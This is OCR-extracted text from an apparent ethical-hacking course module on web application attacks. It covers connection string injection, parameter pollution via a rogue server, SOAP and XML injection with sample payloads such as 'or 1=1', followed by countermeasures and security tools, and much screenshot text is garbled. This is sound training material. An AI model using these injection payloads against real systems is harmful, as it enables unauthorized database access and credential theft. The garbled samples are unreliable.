fields to directly manipulate the database

Manipulate variables that reference files with “dot-
dot-slash (../)” to access restricted directories in the
application

Note: For complete coverage of SQL Injection concepts and techniques refer to Module 13: SQL Injection
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Web App Hacking Methodology
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Attacks Data Connectivity

Database connection strings are used to connect applications to database
engines

Example of a common connection string used to connect to a Microsoft SQL
Server database

“"Data Socource=Server, Port; Network Library=DBMSSOCN; Initial
Catalog=DataBase, User ID=Username; Password=pwd,;"”

Database connectivity attacks exploit the way applications connect to the
database instead of abusing database queries

Data Connectivity Attacks: Connection String Injection, Connection String
Parameter Pollution (CSPP) Attacks, and Connection Pool DoS



7. = IWSEM NORDUNet

Connect T &  BJRE!
~— ~

Nordic Gateway for Research & Education

European Union

Connection String Injection

In a delegated authentication environment, the attacker injects parameters
in a connection string by appending them with the semicolon (;) character

A connection string injection attack can occur when a dynamic string
concatenation is used to build connection strings based on user input

Before Injection

“Data Source=Server , Port; Network Library=—DBMSSOCN; Initial Catalog=DataBase:;

User ID—Username; Password=pwd; "

After Injection

Network Library=—DBMSSOCN; Initial Catalog=DataBase;

“Data Source=Server , Port;
Encryption=—off”

User ID=—Username; Password=—pwd;

When the connection string is populated, the Encryption value will be added to the previously

configured set of parameters
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Connection String Parameter Pollution (CSPP) Attacks

In CSPP attacks, attackers overwrite parameter values in the connection string

Hijacking Web
Credentials

Attacker tries to connect to
the database by using the
Web Application System
account instead of a user-
provided set of credentials

Hash Stealing Port Scanning

Attacker tries to connect to
different ports by changing
the value and seeing the
error messages obtained

Attacker replaces the value of
Data Source parameter with
that of a Rogue Microsoft SQL
Server connected to the
Internet running a sniffer

Data source = SQL2005;
initial catalog = dbl;
integrated security—mo;
user id—=;Data
Source=Target Server,
Target Port; Password=;
Integrated
Security=true;

= Data source = SQL2005;
initial catalog = dbl;
integrated security—mo;
user id=;Data
Source=Rogue Server;
Password=; Integrated
Security=true;

Data source = SQL2005;
initial catalog = dbl;
integrated security—mo;
user id=;Data
Source=Target Server,
Target Port=443;
Password=; Integrated
Security—trues;

Attacker will then sniff Windows
credentials (password hashes) when
the application tries to connect to
Rogue_Server with the Windows
credentials it's running on
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Connection Pool DoS

Attacker examines the connection pooling settings of the application,
constructs a large malicious SQL query, and runs multiple queries Q

\

simultaneously to consume all connections in the connection pool,
causing database queries to fail for legitimate users

Example:
By default in ASP.NET, the maximum allowed connections in the
pool is 100 and timeout is 30 seconds

V. e
Thus, an attacker can run 100 multiple queries with 30+ seconds ey :
execution time within 30 seconds to cause a connection pool DoS -
such that no one else would be able to use the database-related
parts of the application

————— =

|
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Web App Hacking Methodology
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Attackers interact with the server-side applications in unexpected ways in order to
perform malicious actions against the end users and access unauthorized data

Request Forgery Attack - ‘Session Fixation

Privacy Attacks - ActiveX Attacks
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Attack Web Services

J Web services work atop the legacy web applications, and any attack on web service will immediately
expose an underlying application’s business and logic vulnerabilities for various attacks

o
g |
- g DT ,9 Lrrrnrnnsnrcnne P
: @ Custom Application Application Management
Attacker Web Service : Server
Client : &
: 5 & = ==
L deccncs > :_,—3 S ..-..--.-.>k — g - e T e
Java o
—— -
Database Identity Management Server
) SOAP Injection, WSDL Probing :‘b:,"‘a:i:’“ I_L:a_kage’ Database Attacks,
Web Services XIVIL Injection Attacks A:I:Fa’c:;: % stc DoS Attacks
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Web Services Probing Attacks

1 In the first step, the attacker traps the WSDL document from web service traffic and analyzes it to

determine the purpose of the application, functional break down, entry points, and message types

4 Attacker then creates a set of valid requests by selecting a set of operations, and formulating the request

messages according to the rules of the XML Schema that can be submitted to the web service

- Attacker uses these requests to include malicious contents in SOAP requests and analyzes errors to gain a
deeper understanding of potential security weaknesses

TesreeeaaD>
Attacker inject

arbitrary character
(‘) in the input field

=?xml varsion="1.0- di
no’ 7>

- <SOAP-ENV: Enveiope )}imins:
SOAPSDK1="http://www.w3.org/2001/
XmMitschema®

xmins: SOAPSDK2="http ://www w3 _org/200

I/ XMiLSchem.o- inst.once"

xmins: SOAPSDK3I="http://schemas .xmiso._op
org/soap/ encoding/* xmins: SOAPENV=

' http://schemas .xmiscap .org/scap/ envelope/'>

- «COADN CTNV:Cody>

- <SOAPSDK 4: GetProdlUictinformationByName
)mins: SOAPSDKA="http Productinfo/ >

“U TE-S" standalona= "

<SOAPSDK4: uid>312 - 111 - 8543</SOAPSDKA: uid>
<SOAPSDK4: password> 5648</SOAPSDKS:
password>

</SOAPSDK 4: GetProduc tin forma ti On B y Name>
</SOAP-ENV: Body>

</SOAP-ENV: Envelope>

=

Bl

.-..................>
Server throws
an error

<?>o0:ml version=" |, O" encodmc— “urf-8" 2>
- <socap: Envelope xmins: p="http://sch B org/soap/ envel r
*xmins: xsi="http:/fwww w3 .orleOOl/XMl.s:hem - inst)'Ince ©
xmins: xsd="http://www .w3 .org/20D I/ XMLSchemli'l'>
- <soap:- Body>
- <soap:=Fault>

Server</faultcode >
<faultstring>System. Web .Sarvices .Protocols .SoapEXception: Seover was unasie to
Process rmguest —> sysbem. Dats Ok Oh O e D8 scmption: Syntas errDr {minsing opmretor] m qoery espsession
produs treree lihe ** st provisterid = “312 - 113 - 851" AL
systerrs Gt Ol oD Ofel boommrand K eecutelammarnsd Teet §rroest sod ey
(A3 2 r) me spnters Oute OlebDb 1 et Foctiog s Mas e
CagOSPARAMMS doParams, OLJECIS © XU Hewu i) at
SRt D515 O] ohe OLaO L Cerm 3 nd_Ex CUTolo mrmiess T ot Ob jec tEcx nc tofacuit] 31 Systonm  Date . OloDs
Ol CECormmana EretuteCommand (Command Sehsvior behawvicr, Object excouteResuit) 3t System O
0105 OleSRTo mm ano ExscuieRe ader Aarna | [Command Babavior behavior, STing methad) at
System Dats a0 b Clelhaco mm and £ xecuteRende ) om m and Beh awior boehawion 3¢
Systeom.Data OleDb. O anc < (] at Froduet lafo. ProductD@&Access . Get Mfroduct
IMEoNRItIeAlSIring  roductNasce. SIHAE Uid, ST B3SWoRD) at
Productinfo. Produdinfo Get Prodettin/onmationByNawme(Stnng rame, String wd String P3ssword |
Inner sscuption stack trace =</ faultstring>
<detail />
</soap: Fault>
</soap : Body>
</soap= Envelope>

- e

End of
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Web Services Attacks: SOAP Injection

http://www_ juggyboy. com/ws/products_ asmx

Account Login
username [ J<

Password

‘or 1= 1 or blah ="

Submit

H

- <SOAP-ENV:Envelops xmins: SOAPSDEKl="http://www.w3 . org/2001/XaOsSchama *
sxmins: SOAFSDEZ="' http://www.w3. oxrg/2001/ XOSchama - instance’

xmins: SOAPSDK3=' http://schamas . xmlsocap.org/scap/encoding/*
SOAPENV="http://achamas .xmlscap.org/scap Ienvelopal >

scmins:

a i
: SOAFSDK4=' http:// juggyboy/Productlnfoc /*'>
: nama>% </SOAPSDK4: nane>
: wIASII2 - 111 - B543</SOAPSDK4: vid>
oxr blah = '</SOAPSDX4: password>
</SORP : Body>

ox I= I

RAANARRRRRR AN

D

.1 Attacker injects malicious query strings in the user input field to bypass
web services authentication mechanisms and access backend databases

1 This attack works similarly to SQL Injection attacks

‘

Server Response

<?xml version="1.0" encoding="utf-8' 2>

— <socap: Envelope xmins: socap=""http://schemas
.xml soap .org/socap/envelope/"

xmins: xsi ="http://www .w3
instance’

xmins: xsd="http://www
— <soap :Body>

— <GetProductinformationByNameResponse

xmins="http://juggyboy/ProductInfo/">

— <GetProductlinformationByNameResult>
<productid> 25 </productid>

<product Name >PaintinglO0l</productName >
<productQuanti ty>3</productQuantity>

<productPrice> 1500</productPrice>
</GetProductlinformationByNameResul t>
</GetProductlnformationByNameResponse>
</socap: Bodyv>

</socap: Envelope>

.org /2001 /XMiL.Schema—

w3 .org/2001/XMLSchema’>
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Web Services Attacks: XML Injection

) Attackers inject XML data and tags into user input fields to manipulate y
XML schema or populate XML database with bogus entries '

J XML injection can be used to bypass authorization, escalate privileges,
and generate web services DoS attacks

Server Side Code
o o http//www_juggyboy.com/ws/login.asmx

<Zxml wversion="1.0" encoding="IS0-8859-1"7?>
- <users>

Account Login <user>

<username>gandal f</username>

&
% \ <password>'!'c3</password>
3 l SN Username m <userid>101</userid>

<mail>gandalfémiddleearth. com</mail>

</user>
Password 12345 <user>

<username>Mark</username>

= <password>12345</password>
E-mail Submit <userid>102</userid>
<mail>gandalfémiddleearth. com</mail>
H </usexr>
) D L L L L L T T T
3 <user>

mark@certifiedhacker.com</mail= </user>
<users> <username=Jason</username=
<password>attack</password>
<userid>105</userid><mail>jason@juggyboy.c

<username>jason</username>
<password>attck</password>
<userid>105</userid>
<mail>jason®juggyboy.com</mail>

Creates new
===weeIp user account
on the server

ANERRRNRRANRRNAS
--un-.--'-.
'lullul\l-ll-i-

R Ll R

om=> </users
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Web Services Parsing Attacks

Parsing attacks exploit vulnerabilities and weaknesses in the processing @
capabilities of the XIVIL parser to create a denial-of-service attack or &
generate logical errors in web service request processing e

Recursive Payloads Oversize Payloads

Attacker queries for web services Attackers send a payload
with a grammatically correct that is excessively large to
SOAP document that contains consume all systems
infinite processing loops resources rendering web
resulting in exhaustion of XML services inaccessible to
parser and CPU resources other legitimate users

S
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Web Services Attack Tools: SoapUl and XMLSpy

SoapUI | | XIVILSpy l

-J SoapUlis a web service testing tool which supports multiple -1 Altova XMLSpy is the XML editor and

protocels such as SOAP, REST, HT TP, JMS, AMF, and JDBC development environment for modeling,
editing, transforming, and debugging XML-

-4 Attacker can use this tool to carry out web services probing,
SOAP injection, XML injection, and web services parsing attacks related technologies
- - | e Bt Powa MMM DTOScherns  Scheme desgn KX %0wery Suthestic DE  Covvenn Yew Dowss WSDL
> Sensith Favmiry - e S0MP ADEL Todl: Wnduw teln -
R e — : @ DR Be &8 @ e LA ES Do Y e IO SE S
e, [ Coarven | Savecs Cadpsinty | eiIL Comtert | Wi | Carpliancs | Lw= e B S = et gy :
5 X CumencComvetoSoss o g OebugoerCs | . | = | = r'g gm Outpenx s TE T B |
g < =g S| comercycermemor asraTWIDR | 3 <aumt> -
-1 CriirettyCasantaiitigl | oo mmmtmnmrmmw = jl"d':’;
- T Camsmmemtane = ——ve —myeds <+ | Vied Semce
3 Papend] | SOAP Debugger
. Erxavgple Chert
| s ey
3 &
. -
e . scroan
— ) |1 i
biarve 0 ,Mv-»-‘ - = ;v‘m«nhv “FEF
Deson pritn - FFF
b e o o
Endpoes vergT st 1" | e *hed 1 transsonal a0
Timeow 5 Cormwrweafatel SO N Iteolsie - e - | -
Eve Zodeet Cormarmantiotnta. | Schewws | ofe || T | G | Scewws |-
Falew Bnduncns tiee Covmerserlatelse
semena E { s
Pasrnsrst
Deenen Cot Stack =
Aabentaaton Type GRoow HITTP Sen.
A Panmred Fyme L Lisceme A Benet Docemes
/5% TorsaT ol
S tmprvere
Qn VARD Acten  lahs
Enatic MICHH tone
Faree TORe et
it Respose 34-. Tde
= e e = Cormen | Vamubies | APatle Wateh Cat Stack | Tarmstenm | info | Maeces | Trace
WAL Sey Drnep rve ESton wIUTS sl 2 Magprtured 5o P08 ECC) € 1598 2004 Alteva St PR SO
http://www.altova.com

http://www.soapui.org
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Web Application Hacking Tools: Burp Suite Professional

LS réDOMN window abaut

& soqumcﬂ mm

[ Filtor. showiog off Remns

target | posstions: | paytoads | options |

{ resuls | target | posiions | payioads | ophons |

atatys error  time

attack type [sniper >

2 payload positions fength: 465

[CET /th?id<S i ASa e is0naassaifcpid-S0008 HTTP/ 1.1 - 200

‘Hoat: Esd.nm.bing.netc 2

{Proxy~Connect ton: keep-alive oo ! I’msl l m”mse l

Uozc—Agesnc: Hozibllial .0 (Viadowas HNT £.2. VOWc4) Sleaq ——— R = =

IAppleWebKit/537.4 (KHTML, like Gacko) raw—] params | headers |
|Chrome/T2.0.1225.94 Satari/s3i7.a3 auto GET /th7id=1_ 450762450048 --244psa=i 3 MTTP/ L. 4 — |-
jAccept: */* — Host: t=d_mwem.bing,net

{Peterer:

Proxy-Connsstisn: kasap-alive

User—~Agent: Mozi1lla/S.0 (Vindows NT €.2; WOVE4) AppleWebFic/537.4

(FHTML, like Gacko) Chroms/TI.0.1T29.94 Satari/537.4

Accept: =/

Peferer:

hrep://vww.bing.com/ images/ seacrch?7g b ikesiid=€eCCCT7ETOESCICDIASDIEABESE
SIFESS7SDITSS3L4FORM~IQFREBA

Accepr-Encoding: giip,detlace,sdch

Accept-Language: =n-US en:q~0.8

Accapr-Chars-c: ISO-B8SS-1, ucf-8:4-0.7, *:q=0.3 .
Connmcr toms: _oione

heop://wvv.bing.com/ images/ search?gq=bikes s 1dA=CCCTET0
|ESCICDIASDIEABEDEISIFEOST7SDITSSAEFORN-IQFREA
Acc‘pt EncodanA gz=ip,deflate, sdch

http //vwww.portswigger.net
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Web Application Hacking Tool: CookieDigger

CookieDigger helps identify
weak cookie generation and Foundstone: | CookieDigger”
insecure implementations of = “..::DUR._. , AT B

- S weeew i com/
session management by web il A e F_sourceret =heip %34 % 2F %.2Fmad in com % 2Fnewmal

g 2 colors Colors_in_homepage | P
applications sbout blark %2Finbos phpSighma=entl 8f_id ~fiyoJdf_pwd~atumirs
hetp //mtv in com/mtv_in_homepage _elemer
oo S SAR yedo com fee /AAED rirl =S
about blanic
about blark
3 http //googleads g doublecicic net/pagead/&
It works by collecting and hitp//d3 zedo com/jec/d 32 htmi n=933.c|

- = - javascript _em setCOV( S E365867dd952a50 |
analyzing cookies issued by a RSN U

web application for multiple javascrpt wndow focus()
hetp /sl s comy/

users

hatp -/ /mail n com/newmad endex oho Tmsg

The tool reports on the
predictability and entropy of the
cookie and whether critical
information, such as user name http://www.mcafee.com
and password, are included in the
cookie values
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Web Application Hacking Tool: WebScarab

1  WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols

-1 It allows the attacker to review and modify requests created by the browser before they are sent to the server,
and to review and modify responses returned from the server before they are received by the browser

webScarab — - 10 X

File View TIools Help
Summary Message log [Proxy ‘Manual Request ] WebServices Spider Extensions| SessioniD Analysis Scripted { Fragments Fuzzer c«npatei £

Es"'mm e S S S T e e e D‘El‘l
[: Tree Selection filters conversation list
un | __Methods | Status | Set-Cookie | Comments | Scripts |
% [ hittp Avwww. owasp.org 80/ GET 301 Moved ... | ™ | ] &l
o [ banners/ = o= =
o [ images/ (] =] =3
1 index.phpf ] =l ]
[ main_rage GET 200 OK (= [+] vl
o =] skins{ — = 0
1D | Date | __Method | Host | Path ___Parameters Status 7Qr‘lg_m
S |MEUB23 _|CET RUPpTNAAW OWasp org sUUSKInsimonobooRmain.__ |77 — — 1700 OK_ FToRy 1 -
4 i06/23__ GET_ hitp Jhvewwe owaspo org 80 Jyskins/common/EF ixes. 200 OK____ Prow 11
<l f06§23... ’GET {http fhwww. Owasp.org 80 Yskinsfcommonjcommo...| _12000K  [Proxy i N
2 | ‘06523, [ hitp Jhwww. owasp.org.20 php/Main_Page |200 OK Proxy |=]
1 A hitp Sfvwwww Owasp.org 30 |301 Moved . [Proxy -~
4 M |

http:/fwww.swasp.org
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Web Application Hacking Tools

Instant Source

w3af
http://w3af.org

GNU Wget

wavw.gnu.org

BlackWidow
http://softbytelabs.com

cURL

http://curl.haxx.se

http://www.blazingtools.com

HttpBee

http://www.o0o.nu

Teleport Pro

htip://www.tenmax.com

WebCopier

http://www. maximumsoft.com

HTTTrack

http://www. httrack.com

MileSCAN ParosPro

http://wwaw.milescan.com
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Encoding Schemes

Web applications employ different encoding schemes for their data to safely handle unusual
characters and binary data in the way you intend

Types of Encoding Schemes

Wl URL encoding is the process of converting URL into valid ASCIl format so that data can be safely
transported over HTTP

W URL encoding replaces unusual ASCII characters with "%" followed by the character’s two-digit ASCH
code expressed in hexadecimal such as:

e 2%3d =
© 20a New line

2 220 space

W An HTML encoding scheme is used to represent unusual characters so that they can be safely
combined within an HTML document

w It defines several HTIVIL entities to represent particularly usual characters such as:

&amp; &

= &t <
= &gt; >
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Unicode Encoding

16 bit Unicode
Encoding

© It replaces unusual Unicode
characters with "26u”
followed by
the character’s Unicode
code point expressed in
hexadecimal

> %u2215 [/
UTF-8

© It is a variable-length
encoding standard which
uses each byte expressed in
hexadecimal and preceded
by the % prefix

> %c2%a% ©

> %e2%89%al

P

F

Encoding Schemes (Cont’d)

1)

Base64 Encoding

Base64 encoding scheme
represents any binary data
using

only printable ASCII
characters

Usually it is used for
encoding email attachments
for safe transmission

over SMTP and also used for
encoding user credentials

Example:

cake =
011000110110000101101011
01100101

Base64 Encoding: 011000
110110 000101 101011
011001 010000 000000
000000

4

(¥

(f

Hex Encoding

HTIVIL encoding
scheme uses hex
value of every
character to
represent a collection
of characters for
transmitting binary
data

Example:
Hello A125C458DS8
Jason 123B684ADS
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How to Defend Against SQL Injection Attacks

Always use method attribute set to POST
Limit the length of user input and low privileged account for DB
connection

Run database service account with

Use custom error messages =Y g
minimal rights

— T —
Monitor DB traffic using an IDS, WAF !V|ove extended stored procedures to an
isolated server
| — | —
Use typesafe variables or functions
Disable commands like xp_cmdshell such as IsNumeric() to ensure
typesafety
| — T —

Validate and sanitize user inputs

Isolate database server and web server
passed to the database

1
1
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Perform input validation Escape dangerous characters

Use language-specific libraries that
avoid problems due to shell
commands

Perform input and output encoding

Structure requests so that all supplied
parameters are treated as data, rather
than potentially executable content

Use a safe APl which avoids the use
of the interpreter entirely

Use modular shell disassociation

Use parameterized SQL queries i Vel
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How to Defend XSS Attack

Validate all headers, cookies, query
strings, form fields, and hidden fields
(i.e., all parameters) against a rigorous
specification

Use a web application firewall to block
the execution of malicious script

Encode Input and output and filter Meta
characters in the input

Filtering script output can also defeat XSS
vulnerabilities by preventing them from
being transmitted to users

Use testing tools extensively during the
design phase to eliminate such XSS holes
in the application before it goes into use

Convert all non-alphanumeric characters
to HTMIL character entities before
displaying the user input in search
engines and forums

Do not always trust websites that use
HTTPS when it comes to XSS

Develop some standard or signing scripts
with private and public keys that actually
check to ascertain that the script
introduced is really authenticated
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How to Defend Against DoS Attack

Configure the firewall to deny external Internet Control Message Protocol (ICMP)
traffic access

Secure the remote administration and connectivity testing

Prevent use of unnecessary functions such as gets, strcpy, and return addresses
from overwritten etc.

Prevent the sensitive information from overwriting

Perform thorough input validation l

Data processed by the attacker should be stopped from being executed

000000
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How to Defend Against Web Services Attacks

Configure WSDL Access
Control Permissions to
grant or deny access to
any type of WSDL-based
SOAP messages

Deploy web services-
capable firewalls capable
of SOAP and ISAPI level
filtering

Implement centralized in-
line requests and responses
schema validation

2

Use document-centric
authentication
credentials that use
SAML

Configure firewalls/IDS
systems for a web
services anomaly and
signature detection

Block external
references and use pre-
fetched content when
de-referencing URLs

3

Use multiple security
credentials such as
X.509 Cert, SAML
assertions and WS-
Security

Configure firewalls/IDS
systems to filter
improper SOAP and
XML syntax

Maintain and update
a secure repository
of XML schemas
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1 The client should not have direct access to the CAPTCHA solution

2 No CAPTCHA reuse and present randomly distorted CAPTCHA image of text to the user

3 Use a well-established CAPTCHA implementation such as reCAPTCHA instead of creating
your own CAPTCHA script and allow users to choose an audio or sound CAPTCHA

\\\

-
04 Warp individual letters so that OCR engines cannot recognize them
05 Include random letters in the security code to avoid dictionary attacks

|’F
’ 06 Encrypt all communications between the website and the CAPTCHA system 8
: |
07 Use multiple fonts inside a CAPTCH to increase the complexity of OCR engines to =
solve the CAPTCHA —
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Web Application Attack Countermeasures

Unvalidated Redirects Broken Authentication
and Forwards and Session Management

= Use SSL for all authenticated

€ Avoid using redirects and
parts of the application

forwards

= Verify whether all the users’
identities and credentials are
stored in a hashed form

@ If destination parameters
cannot be avoided, ensure that
the supplied value is valid, and
authorized for the user Never submit session data as

part of a GET, POST

Iinsecure Cryptographic

Cross-Site Request »
Storage

Forgery

Logoff immediately after using a web
application and clear the history

= Do not create or use weak
cryptographic algorithms

(1

2 Generate encryption keys
offline and store them securely

Do not allow your browser and
websites to save login details

Check the HTTP Referrer header and
when processing a POST, ignore URL
parameters

2 Ensure that encrypted data
stored on disk is not easy to
decrypt
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e
Web Application Attack Countermeasures (Cont’d)

vAv Insufficient Transport Layer Protection
.v Non-SSL requests to web pages should be redirected to the SSL page

Set the ‘secure’ flag on all sensitive cookies

v = Configure SSL provider to support only strong algorithms
= Ensure the certificate is valid, not expired, and matches all domains used by the site
= Backend and other connections should also use SSL or other encryption technologies

1}

Define access rights to the protected areas of the website

AV
VA

Apply checks/hot fixes that prevent the exploitation of the vulnerability

such as Unicode to affect the directory traversal v
= Web servers should be updated with security patches in a timely manner
vAv Cookie/Session Poisoning
‘ Do not store plain text or weakly encrypted password in a coockie
= Implement cookie’s timeout -
v = Cookie’s authentication credentials should be associated with an IP address
= Make logout functions available
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Security

Misconfigu-
ration

-

1)

Configure all security
mechanisms and turn off all
unused services

(F

Setup roles, permissions,
and accounts and disable all
default accounts or change
their default passwords

Scan for latest security
vulnerabilities and apply the
latest security patches

7 EIN
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LDAP

Iinjection
Attacks

(I

Perform type, pattern, and
domain value validation on
all input data

Make LDAP filter as specific
as possible

Validate and restrict the
amount of data returned to
the user

Implement tight access
control on the data in the
LDAP directory

Perform dynamic testing and
source code analysis

NORDUnet

Nordic Gateway for Research & Education

File

Iinjection

(I

(f

(f

Attack

Strongly validate user input

Consider implementing a
chroot jail

PHP: Disable allow_url_fopen
and allow_url_include in
php.ini

PHP: Disable register_globals
and use E_STRICT to find
uninitialized variables

PHP: Ensure that all file and
streams functions (stream_*)
are carefully vetted
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How to Defend Against Web Application Attacks

T

input validation mf‘m
AN
- Use WAF Firewall : patches
Attacker Login Form /1DS and filter 25 Web Server - et
V Connect to the database =
using non-privileged account
(. B T A Analyze the source
\P\_/// Use stored procedures < \/ code for SQL injection
e S N — S 5E " Minimize uee of 3ea
\\7 Grant least privileges to dme party apps
database, tables, and columns Web Application Sanitize and filter
: : user input
'_': Disable commands like Perform dynamic testing : :
: xp_cmdshell and source code analysis - :
v 2 =

 — - -
[— : [
= P SRR — Cesasassssssssmsmsssssansaen
Make LDAP filter Disable verbose error
as specific as possible messages and use custom

error pages
Operating System LDAP Server Custom Error Page
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Web Application Security Tool: Acunetix Web Vulnerability Scanner

Acunetix WVS checks web applications for SQL injections, cross-site scripting, etc.

It includes advanced
penetration testing tools, File Actiors Tools Configwstion Help
- New Sc [ = 3 N e” « ~ < =
such as the HTTP Editor and . i b B mta s i . - -
¥ e 2 B () &5 - - StartURL: nie - | Profie: Faume
the HTTP Fuzzer [ web vinerobity Scarmer | s = S 2 — S,
fres esults e Asents summany 10 alerts =1}
L -
| O She Crasler iy Ves Nevrs (10) e e cxaaaig ot Acunetix Theest Levet 2
B ) Target Fnder € »IMR form sethout CSRF grotecton Orne ofr more medium-severty type
- — '[; D Uisir ciadurnini i oant By ot S Laval 2: Madium vulnesabiities Mave been Dy tne
IS Eoiots Sopated | ——e CannEr. ¥0u 1ROuld investagate each
3 Bl SOL Sgector Ohdgacking: X, -Optons heade
Port scans a web server and B +P Esnor - s s st periepe o pamguder i g iy
- . & T Soefor O wcmen was (1) Srotieme
runs security checks against s T B S .
network services i Comoere Remdts W Kroslsdon Nive s M
= = e €3 Ste Stuctse -
- e e e T o | E=——
i - Web Ser R ::' >
im,.m,. o D meges © 1nfoermateanat E——
: ASchcaton Setongs - =
.:;. kSamf-ee:as 2 [ ndex.ron < i Tasget informsation PEtpC A Certifhe Cack ef <omiS0) Q
= General < 5 = = > = st 3615 requests 2 o
Tests web forms and @ Procram Uodetes — 5
% Yersion forrru = =
password-protected areas e 112918523 35, [iiamnal Reawest: N e 1. s s < e
- Dreoot [DO0M
B Sucoort Center Wieb server foked 1o respond o the allocated tme (noreese Sreout value from Scan Settngs)
:‘: Purchease 3190 IR NN, urm!s‘m “Scan Thread 17 was abarted by user.
1 User Marsosl
- ASSerwor
< > Apphcation Log :.-r.r—u.oo]
- - - Web Scanre Scarwerg 1 webmtels) Number of ssebnites Joft 1o scan 1
It includes an automatic client
script analyzer allowing for f—— —— - ——— —_—— - — R ———
http-//www.acunetix.com

security testing of Ajax and
Web 2.0 apps
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Web Application Security Tool: Watcher Web Security Tool

Low- 0.0 trdcrasonel 55

| Sevesy s -1

| s = dava Sy Faces tew Srte vdernti o tapaory 1 . e - cae
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- w T ez oria ol rIer e Suvise Hemres rE= L wen remrumsd coe 2
124 User cortrolable sevascret evert (£55) HE J Aerwree rcftrusted com

| 124 Ulsesr cortrotatie WTML clemard wirbte DCSS) e Awrvres roftnssed Cor
| 125 e Cor TRt Aacten Hemder KOpen Heceect) e /Ay CoAEed com/

[ Doart nindines | Seport Methoa [ HTML Heport - [T avenseroll
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| s fourd T dana OF de evere:
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| 3} Ui st v o i T folomns dints of s Orerror et -

CaASAB Watcher Wb Security Tool ML Cazabia Seourity, 81T, AT FOMS reserved.

http.//www_casaba_com
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Web Application Security Tool: Netsparker

1 Netsparker performs automated comprehensive web application
scanning for vulnerabilities such as SQL injection, cross-site scripting,
remote code injection, etc. ‘

. -4 It delivers detection, confirmation, and exploitation of vulnerabilities
’ in a single integrated environment

ST I | e
N

@D méotverd

Vet Duchs
ST bt

e c e

Version Disclosure (1IS)

[rrormarion 2]

~

CERTANTY  —
URL  BEtpifsdeess TuGELDOR LEed lackes
EXTRACTED VERSION Microsofe - 1IS/6. 0

“ LY

VULNERABILITY DETAILS

2 vernen {175) 1% E3F0ET wad carvars HTTP respomse

Thes wfomeaten Can Pels n SLICKE! O30 3 greater of the nuse 30
the soechc vermon of (15,

IMPACT ~

e
« T COMoRE Method Erabied
k] 1 Tha pet w eriy sepened n e Standadd edners of i i

Seveiop furthar MI3Chs targoted o

&P Py Aasmiicrml l

http_//www_mavitunasecurity.com
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Web Application Security Tool: N-Stalker Web Application Security Scanner
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) N-Stalker Web Application Security Scanner is an effective suite of web security
assessment checks to enhance the overall security of web applications against
a wide range of vulnerabilities and sophisticated hacker attacks

-1 It contains all web security assessment
checks such as:

& Code injection
Cross-Site scripting

Parameter tampering

e o0

Web server vulnerabilities

Sagienietonee 158.C0 e

"IF . mw ContTecratuer coet 354 (PORT N

g Cart Tt acker cors B4 (Poat 1

hitp-/lwnvwww. nstalker. com
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Web Application Security Tool: VampireScan

VampireScan allows users to test their own Cloud and Web applications for basic attacks

‘ and receive actionable results all within their own Web portal '
FEATURES .
i
= i Sec Grades Statistic
£ Protect your website | : S ! i
. =
from hackers . . e 5
. “ ' B o Scams I Progross o
& Scan and protect your EH s ° e feae
3 ' o o Urunved Sesrvices
infrastructure and web “ i P g Expirfng Unused Services
2 % ; j—————————
applications from 4
cyber-threats \ } Recent Activity Q =
— Give you direct, I\ Status. Web Site UL Description  Service ) Results  Grade  SAR whde  Prewous Scams
actionable insight on e ———
high' medium’ and low scansost aze /2472012 B127 AM 2314 12434133
- k l b.l. 2 scantmat MeshCheck I/1WI012 1055 AN «37e 12730
risk vulnerabilities Bcanemsy 53 L2083 S48 oM j ey 1953¢  sapaljes
| o~ “« % Papelr oft « &
ig Show:S 10 20 50 100 200

htip//vwww.vampiretech.com
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Web Application Security Tools

Syhunt Mini

http://www.syhunt.com

OWASP ZAP

http://www.owasp.org

skipfish

http://code.google.com

SecuBat Vulnerability Scanner
http://secubat.codeplex.com

SPIKE Proxy

http://vwww.immunitysec.com

(oo e
— -

Websecurify

http://www.websecurify.com

NetBrute

http://www.rawlogic.com

x5s
http://wwaw.casaba.com

W/SSA - Web Site Security
Audit

http://ywww. beyondsecurity.com

Ratproxy
http://code.google.com
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http://www.syhunt.com

@ | WebWatchBot

— r'-jJ http://vwanw.exclamationsoft.com

Exploit-Me

http://labs.securitycompass.com

KeepNI

E } http:/vwwww. keepni.com

(. oo

‘ http://www.sven.de
—

WSDigger

http://www.mcafee.com

Arachni
http://arachni-scanner.com

Vega

http://wwnw.subgraph.com
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Web Application Firewall: dotDefender

1 dotDefender is a software
based Web Application
Firewall (e il =

B OotDefender (329 davys et

| Boernt Ve Quocal)
It Infaarenen Services (

- It complements the

network firewall, IPS and B SO oo
other network-based , oSy \ QL injectioh
) Putierre e v e Ul SCE Rt aTRCE R b e s e
Internet security W 4G WhAiet Sramctind An
products > S Mt e & Suspect Single Quote (Safe)
= Ld QX Pgecton
-1 It inspects the s = Pattern = Pattern

HTTP/HTTPS traffic for
suspicious behavior

Classic SQYL Comment --

FRRFESIIFEH

Cote tromcman | L SQL Commaents
-1 It detects and blocks SQL n— | B R 2 _|
- - - & ¥Path Irgecton
injection attacks (o et ross Ste Sero =
= g SN # ‘Select Version' Statement
Attuara FTP Ste Cove O fmdt)
& SQL CHAR Type

5QL SYS Commands

M
i)

IS_SRVROLEMEMBER followed by (

{4

MS SQL Specific SQL iInjection '
- |

http://www.applicure.com
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ﬁ‘e Conl-gu-'e Heip

ServerDefender VP . portS80.
Web application 73:"‘;2:::?:37 Bl Fcctoction Tor Detoutt web S is ON ® OfFf ® LOG OlLY O ON
firewall is designed e .

to provide security e mmlam[,..m[m Yo e Tvmomons|
against web Cepieis Wt

attacks SIS

[V Block Cross Site Sorpting (XSS} | Aoy sarvtaed HTML ~1 ‘
Genenc Input Sanitization

0 None

®) Mrwmom  [0-5, 14, 12, 14-31, 127, 175-223, 2S5}
(O Bctended [>, <., "] +Mormm

(O Parancd [I. =, . %.: ] +Extanded

Samnraton Acton: Deny and Log I&l

| http-//www_portS8Osoftware.com

[ acmae | (St | o
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Web Application Firewall

RBadvrncers Kaanal [ | Barracuda Web Application
n-zb PP { Q ) Firewall

http://www.radware.com
https://vwww. barracuda.com

SteelApp Web App Firewall

http://wwwriverbed.com

l:——WI Th reatSer_Itl'Y

http://vwanw. privacyware.com

i

=4
\

IBM Security AppScan

http://vwww.ibm.com

QualysGuard WAF

http://vwww.qualys.com

g
©

Trustwave Web Application

Firewall
https://vwww. trustwave.com

ThreatRadar

http://www.imperva.com

g |

ﬁ

ModSecurity == Cyberoam’s Web Application

i - Firewall
http://www.modsecurity.org a e e . ioth T s
— /.
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Web Application Pen Testing

